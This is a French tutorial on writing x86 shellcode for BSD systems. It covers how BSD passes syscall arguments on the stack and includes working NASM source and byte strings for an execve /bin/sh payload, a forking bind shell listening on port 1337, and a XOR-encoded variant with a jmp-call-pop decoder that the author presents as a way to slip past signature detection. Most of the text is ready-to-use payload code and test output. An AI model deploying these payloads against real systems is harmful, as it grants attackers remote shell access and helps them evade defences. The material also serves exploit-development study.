BSD Shellcoding    Enregistrer au format PDF

Article traitant de la programmation de shellcodes sur les systèmes *BSD/x86.


par Tosh

Introduction

Dans cet article, j’expliquerais comment créer des shellcodes sur les systèmes *BSD, pour les
architectures x86.
Je détaillerai surtout le fonctionnement des syscall et comment les utiliser, car c’est à peu
prêt la seule chose qui diffère comparé à un système Linux.

Les outils que j’utilise sont : nasm, ld, objdump et shelltest, un programme de ma conception,
permettant l’automatisation de la création de shellcodes. Vous pouvez retrouver la source sur mon SVN :
http://websvn.tuxfamily.org/filedetails.php?repname=toshpage%2Ftosh&path=%2FShellcodes%2Fshelltest.c

Les appels systèmes

Bien, donc comme je le disais, les appels systèmes sont légèrement différents sous BSD, car les
paramètres sont envoyés sur la stack, et non dans les registres.

Les numéros des appels systèmes se trouvent dans /usr/src/sys/kern/syscalls.master. Le numéro est
à mettre dans eax, et les paramètres sur la pile, dans l’ordre inverse de leurs déclaration.

Il faut aussi rajouter un padding de 4 octets, qui est destiné généralement à EIP.

Par exemple, voici comment afficher un caractère à l’écran :

  1.      section .text
  2.           global _start
  3.  
  4.      _start:
  5.           xor eax, eax                                      ; mise à 0 du registre eax
  6.           push 'AAAA'                                       ; On met le caractère à afficher sur la pile (4 'A' pour éviter les nul bytes)
  7.           mov ebx, esp                                     ; adresse du caractère à afficher      
  8.           mov al, 1                                        ; On empile la taille
  9.           push eax
  10.           push ebx                                          ; On empile le buffer
  11.           push eax                                          ; On empile 1 (STDOUT)
  12.           push eax                                          ; PADDING
  13.           mov al, 4                                               ; syscall sys_write
  14.           int 0x80                                             ; appel système
  15.          
  16.           mov al, 1                                         ; exit
  17.           int 0x80

Télécharger

Testons :

  1. [tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
  2. Len : 23 bytes
  3. Shellcode : \x31\xc0\x68\x41\x41\x41\x41\x89\xe3\xb0\x01\x50\x53\x50\x50\xb0\x04\xcd\x80\xb0\x01\xcd\x80
  4. A[tosh@localhost /usr/home/tosh]$

Télécharger

Pas trop mal, non ?

Exécuter un shell

Afficher un caractère c’est bien, mais exécuter un shell serait mieux, non ?

D’après le fichier syscalls.master, le syscall execve est le 59.
Il prend trois arguments, le nom du fichier à exécuter (/bin/sh), les arguments du programme et
l’environnement.
Le dernier sera mit à NULL.

Voici ce que ça donne :

  1.      section .text
  2.           global _start
  3.  
  4.      _start:
  5.           xor eax, eax
  6.           push eax                              ; nul byte
  7.           push '//sh'
  8.           push '/bin'                           ; On stock la chaine sur la pile
  9.          
  10.           mov ebx, esp                          ; Pointeur sur '/bin//sh'
  11.           push eax                              ; argv[1] = NULL
  12.           push ebx                              ; argv[0] = '/bin//sh'
  13.           mov ecx, esp                          ; ecx = argv
  14.           push eax                              ; Empile env (NULL)
  15.           push ecx                              ; Empile argv
  16.           push ebx                              ; Empile '/bin//sh'
  17.           mov al, 59                            ; Appel system execve()
  18.           push eax                              ; PADDING
  19.           int 0x80

Télécharger

Bon bien sûr ici je m’embête à remplir argv, ce qui n’est à priori pas nécessaire.

Testons :

  1. [tosh@localhost /usr/home/tosh]$ nasm -f elf test.s && shelltest test.o
  2. Len : 27 bytes
  3. Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80
  4. $

Télécharger

Parfait, nous avons notre shell !

Shellcodes & sockets

Bien, voyons un peu comment fonctionnent les appels systèmes liés aux sockets maintenant, en vue
de faire par exemple un bindshell.

En regardant un peu dans syscalls.master, on remarque que presque toutes les primitives C tel que
connect(), accept(), listen(), trouvent leurs équivalents dans les appels systèmes.

C’est je trouve plus simple que sur Linux, où il n’y a qu’un seul appel à socket, et dont le
fonctionnement dépends du paramètre qu’on lui donne.

On retrouve ici une correspondance C -> assembleur, ce qui facilite la tâche.

Bien, pour un bindport, il faut donc effectuer les appels systèmes suivants :
socket, bind, listen, accept, dup2, execve.

On peut aussi éventuellement faire un fork après le accept, pour accepter plusieurs connexions à
la fois, et éviter que le shellcode se termine lorsque l’on quitte le shell.

Allons-y !

J’ai commenté au maximum le code, pour l’expliquer :

  1.      section .text
  2.           global _start
  3.  
  4.      _start:
  5.           xor eax, eax
  6.           push eax                              ; protocol
  7.           inc eax
  8.           push eax                              ; SOCK_STREAM
  9.           inc eax
  10.           push eax                              ; AF_INET
  11.           push eax                              ; PADDING
  12.           mov al, 97                            ; socket(AF_INET, SOCK_STREAM, 0)
  13.           int 0x80
  14.          
  15.           mov esi, eax                          ; Sauvegarde du fd socket dans esi
  16.          
  17.           xor eax, eax                          ; Construction d'une sockaddr
  18.           push eax
  19.           push word 0x3905                      ; Port 1337
  20.           push word 0x0201
  21.           mov ecx, esp                          ; Pointeur sur sockaddr
  22.          
  23.           push byte 16                          ; sizeof(sockaddr)
  24.           push ecx                              ; sockaddr*
  25.           push esi                              ; sock
  26.           push eax                              ; PADDING
  27.           mov al, 104                           ; bind(sock, sockaddr*, sizeof(sockaddr))
  28.           int 0x80
  29.          
  30.           xor eax, eax
  31.           mov al, 5
  32.           push eax
  33.           push esi
  34.           push eax
  35.           mov al, 106                           ; listen(sock, 5)
  36.           int 0x80
  37.  
  38.      .ACCEPT:  
  39.           xor eax, eax
  40.           push eax
  41.           push eax
  42.           push esi
  43.           push eax
  44.           mov al, 30                            ; accept(sock, 0, 0)
  45.           int 0x80
  46.          
  47.           mov edi, eax
  48.          
  49.           xor eax, eax
  50.           push eax
  51.           mov al, 2                             ; fork()
  52.           int 0x80
  53.          
  54.           or eax, eax                           ; le processus fils retourne sur le accept()
  55.           jz .ACCEPT
  56.          
  57.          
  58.           xor ecx, ecx                          ; dup2 STDERR, STDIN, STDOUT
  59.      .L:
  60.           push ecx
  61.           push edi
  62.           xor eax, eax
  63.           mov al, 90                            ; dup2(sock, ecx)
  64.           push eax
  65.           int 0x80
  66.           inc cl
  67.           cmp cl, 3
  68.           jne .L
  69.          
  70.           xor eax, eax
  71.           push eax                              ; nul byte
  72.           push '//sh'
  73.           push '/bin'                           ; On stock la chaine sur la pile
  74.          
  75.           mov ebx, esp                          ; Pointeur sur '/bin//sh'
  76.           push eax                              ; argv[1] = NULL
  77.           push ebx                              ; argv[0] = '/bin//sh'
  78.           mov ecx, esp                          ; ecx = argv
  79.           push eax                              ; Empile env (NULL)
  80.           push ecx                              ; Empile argv
  81.           push ebx                              ; Empile '/bin//sh'
  82.           mov al, 59                            ; Appel system execve()
  83.           push eax                              ; PADDING
  84.           int 0x80

Télécharger

Testons :

  1. [tosh@localhost /usr/home/tosh]$ shelltest test
  2. Len : 115 bytes
  3. Shellcode : \x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x66\x68\x05\x39\x66
  4.      \x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80
  5.      \x31\xc0\x50\x50\x56\x50\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xe9\x31\xc9
  6.      \x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68
  7.      \x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80

Télécharger

Nous pouvons maintenant nous connecter sur le port 1337 avec ncat, et quitter le shell ne termine pas
le shellcode.

Bon, bien sûr, la taille peut être optimisée ici. De plus, ici ce n’est pas super propre, car si il y a
de nombreuses connexions sur le shellcode, il finira par planter, étant donné que je ne nettoie
pas la pile à chaque appel à execve. Mais bon, pour un shellcode ça ira bien comme ça...

Encoder un shellcode

Bien, je vais maintenant montrer comment encoder simplement un shellcode, en vue de passer certaines
protections, comme par exemple la reconnaissance des opcodes "\xcd\x80" (appel système) ou "/bin//sh".

Le plus simple à implémenter, est un cryptage XOR, avec une clef d’un octet.

Le shellcode devra être décodé par une routine, avant d’être exécuté. Il aura donc cette forme :

[ Decoder ]
[ Shellcode ]

Pour le décoder, le plus dur va être de déterminer l’adresse exacte du shellcode, car il n’y a aucun
moyen de le déterminer à l’avance. Pour ce faire, nous utiliserons les instructions jmp shellcode, call
decoder, pop.
Il faudra aussi qu’il sache où le shellcode se termine, j’utiliserai un octet 0x90 que je mettrai à la
fin du shellcode pour savoir quand s’arrêter.

Bien, commençons par prendre un shellcode, et le crypter avec une clef quelconque (Il ne faut pas qu’il
y ai de 0x90 ni de 0x00 dans les opcodes).
On va reprendre le shellcode exécutant un shell, il ira très bien.

Voici le programme que j’ai utilisé pour le crypter avec la clef 0xcc :

  1.      #include <stdio.h>
  2.  
  3.      int main(void)
  4.      {
  5.           char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80";
  6.           int i;
  7.          
  8.           for(i = 0; i < sizeof(shellcode)-1; i++)
  9.           {
  10.                printf(",0x%.2x", (unsigned char)shellcode[i] ^ 0xcc);
  11.           }
  12.           printf("n");
  13.           return 0;
  14.      }

Télécharger

Ce qui nous donne :
,0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c

Codons maintenant le decoder :

  1.      section .text
  2.           global _start
  3.  
  4.      _start:
  5.           jmp short CALL                              ; On saute sur le CALL
  6.      RET:
  7.           pop esi                                         ; On met dans esi l'adresse du shellcode
  8.      LOOP:
  9.           cmp byte[esi], 0x90                         ; Est-on arrivé à la fin ?
  10.           je SHELLCODE                                ; Si oui, le shellcode est decrypté, on peut jmp dessus
  11.           xor byte[esi], 0xcc                         ; Sinon, on décrypte l'octet courant avec la clef 0xcc
  12.           inc esi
  13.           jmp LOOP
  14.          
  15.      CALL:
  16.           call RET                                       ; call empile la prochaine instruction, ici notre shellcode
  17.      SHELLCODE:                                          ; Notre shellcode crypté
  18.      db 0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c
  19.      db 0x90                                             ; Octet de terminaison du shellcode

Télécharger

Essayons le :

  1. [tosh@localhost /usr/home/tosh]$ shelltest test
  2. Len : 50 bytes
  3. Shellcode : \xeb\x0f\x5e\x80\x3e\x90\x74\x0e\x80\x36\xcc\x46\xe9\xf2\xff\xff\xff\xe8\xec\xff\xff\xff\xfd\x0c\x9c\xa4\xe3\xe3\xbf\xa4\xa4\xe3\xae\xa5\xa2\x45\x2f\x9c\x9f\x45\x2d\x9c\x9d\x9f\x7c\xf7\x9c\x01\x4c\x90
  4. $

Télécharger

Parfait, nous avons encore notre shell !

Bien sûr, pour que celà fonctionne, il faut que la zone où est injecté le shellcode soit +rwx, ce qui
devient rare de nos jours...

Voilà, je vais m’arrêter là, peut être que j’étofferai cet article avec le temps, le monde du shellcoding
est tellement vaste et intéressant, qu’il y a encore de nombreuses choses à dire.

Good programming !

Documentations publiées dans cette rubrique